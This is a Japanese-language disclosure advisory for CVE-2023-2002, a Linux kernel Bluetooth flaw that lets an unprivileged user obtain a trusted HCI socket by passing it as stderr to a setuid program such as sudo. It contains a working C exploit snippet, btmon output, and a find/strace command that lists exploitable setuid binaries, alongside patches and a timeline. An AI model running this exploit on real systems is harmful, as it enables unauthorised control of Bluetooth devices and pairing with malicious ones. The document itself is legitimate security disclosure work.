
Linux Bluetooth - 非特権ユーザーとして任意の管理コマンドを実行する
LinuxカーネルのBluetoothサブシステムで、HCIソケットのioctlシステムコールを処理する際に、不十分な権限チェックが見つかりました。この問題により、適切なCAP_NET_ADMINケーパビリティを持たないタスクが、HCIソケットを簡単に_trusted_(信頼済み)とマークできます。トラステッドソケットは、新しいデバイスとのペアリングや接続などの管理コマンドとイベントの送受信を可能にするためのものです。その結果、特権のないユーザーがトラステッドソケットを取得し、管理コマンドを不正に実行できるようになります。このエクスプロイトには、一般的に使われるsetuidプログラム(例: su、sudo)が存在しているだけで十分です。
この脆弱性の直接の原因は、以下のコードスニペットです:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
ioctlシステムコールの実装は、呼び出しを実行するタスクがHCI_SOCK_TRUSTEDフラグを更新するために必要なCAP_NET_ADMINケーパビリティを持っているかどうかを検証します。ただし、このチェックは呼び出し中のタスクのみを対象としており、そのタスクがソケットのオープン元であるとは限りません。例えば、ソケットはforkとexecveを使用して別のタスクと共有でき、その別のタスクがsetuidプログラムなどの特権を持つ場合があります。さらに、ソケットがstdoutまたはstderrとして使用される場合、ttyパラメータを取得するためにioctl呼び出しが行われます。これはstraceコマンドで確認できます。
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
ttyパラメータのためのioctl呼び出しはHCIソケット上では決して成功しませんが、HCIソケットをtrusted(信頼済み)とマークするには十分です。したがって、特権のないプログラムでもtrusted HCIソケットを保持でき、trustedフラグがクリアされることは決してないため、管理コマンドとイベントを送受信できます。
エクスプロイトは以下のように簡単に行えます:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
さらに、btmonを使用して、ソケットがtrustedになり、後続の管理コマンドが成功することを確認できます:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Bluetoothデバイスの電源状態を変更する完全なPoCエクスプロイトは、GitHub で見つけることができます。
この脆弱性が悪用されると、Bluetooth通信の機密性、完全性、可用性が損なわれる可能性があります。攻撃者は、Bluetoothサービスが無効または未インストールであっても、この脆弱性を悪用してコントローラーと悪意のあるデバイスをペアリングできます。また、特定のデバイスのペアリングを妨害したり、OOBデータなどの機密情報を読み取ったりすることも可能です。
この悪用可能な脆弱性は、Linuxカーネルv4.9以降に存在しています。具体的には、コミット f81f5b2db869("Bluetooth: Send control open and close messages for HCI raw sockets")の後に悪用可能になります。このコミットより前は、この脆弱性を悪用するには、特権プログラムを騙してHCIソケットをバインドさせる必要があり、実際に引き起こすのは非常に困難(不可能ではないにしても)でした。しかし、このコミット以降は、特権プログラムを騙してioctlシステムコールを呼び出させるだけでよく、上記で示したように、setuidプログラムが存在するだけで十分です。
このエクスプロイトは、stdin、stdout、またはstderrでioctl呼び出しを実行するsetuidプログラム(より正確には、CAP_NET_ADMINケーパビリティを持つプログラム)が存在する限り機能します。ほとんどのLinuxディストリビューションでは、簡単な(ただし非常に大まかな)テストにより、かなりの数のsetuidプログラムがioctlシステムコールを使用していることがわかります。以下の表では、それらは「V」で示されています。
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
strace出力を手動で確認したところ、これらのioctlユーザーはすべて、ttyパラメータを取得または設定するためにstdin、stdout、またはstderrでioctl呼び出しを使用していることがわかりました。これらのsetuidプログラムにはまったく引数が渡されていないことに注意してください。巧妙に細工された引数を渡すと、ioctlユーザーの数が増える可能性があります。その結果、多くのLinuxディストリビューションがこのエクスプロイトに対して脆弱になる可能性があります。
余談ですが、Androidデバイスは影響を受ける可能性が低いです。なぜなら、このエクスプロイトにはsetuidプログラムの存在が必要ですが、Androidはしばらく前からsetuidプログラムの使用を避けており、さらにAndroidにはCAP_NET_ADMINケーパビリティを持つアプリケーションも存在しないためです。
linux-bluetoothメーリングリストにパッチが投稿されており、capable()をsk_capable()に置き換えることでこの脆弱性を修正します。sk_capable()は現在のタスクだけでなく、ソケットのオープン元が必要なケーパビリティを持っているかどうかもチェックします。同時に、別の提出済みパッチは、hci_sock_ioctl()の先頭でコマンドの有効性をチェックし、コマンドが無効な場合は何かを行う前にENOIOCTLCMDエラーコードを即座に返すことで、ioctl処理ロジックを強化します。
回避策として、Bluetoothデバイスをまったく使用していない場合(ただし、物理的にデバイスを取り外すことが現実的でない場合)、rfkillを使用してデバイスをブロックするだけで、デバイスへの電力供給を防ぐことができます。そうすることで、Bluetoothデバイスの電源を入れるための管理コマンドの送信は成功しなくなります。これにより、この脆弱性の影響を大幅に軽減できます。
今後、同様の脆弱性を回避するには、2つの方法があります: Linuxカーネルを強化することと、ユーザー空間のsetuidプログラムを強化することです。
この脆弱性は、CVE-2014-0181とまったく同じ原理を共有しています。CVE-2014-0181の場合、問題はソケットのオープン元に基づいてNetlink操作を許可するメカニズムが欠如していたことであり、これによりローカルユーザーがsetuidプログラムのstdoutまたはstderrにNetlinkソケットを使用してネットワーク設定を変更できてしまいました。
2023-04-04: LinuxカーネルのBluetoothプロトコルスタックの監査中に、この脆弱性を発見しました。
2023-04-09: この脆弱性を、パッチの初期バージョンとともにLinuxカーネルセキュリティチームとディストリビューションベンダーに報告しました。
2023-04-12: この脆弱性にCVE IDであるCVE-2023-2002が割り当てられました。
2023-04-13: メンテナとの数日間の議論を経て、パッチはそれに応じて更新されました。
2023-04-16: この脆弱性は、公開されたoss-securityメーリングリストとGitHub(ここ)で開示されました。公開されているlinux-bluetoothメーリングリストに2つのパッチが投稿されました(最初のパッチ、2番目のパッチ)。
2023-05-01: 修正がメインラインカーネルに取り込まれました(v6.4マージウィンドウの一部として)。また、v6.3.1、v6.2.14、v6.1.27、v5.15.110にも取り込まれました。さらに、v5.10、v5.4、v4.19、v4.14カーネルの次期安定版リリースにもキューに入れられました。
2023-05-17: ついに、修正がすべての安定版カーネルに取り込まれました。具体的には、v5.10.180、v5.4.243、v4.19.283、v4.14.315カーネルにも適用されました。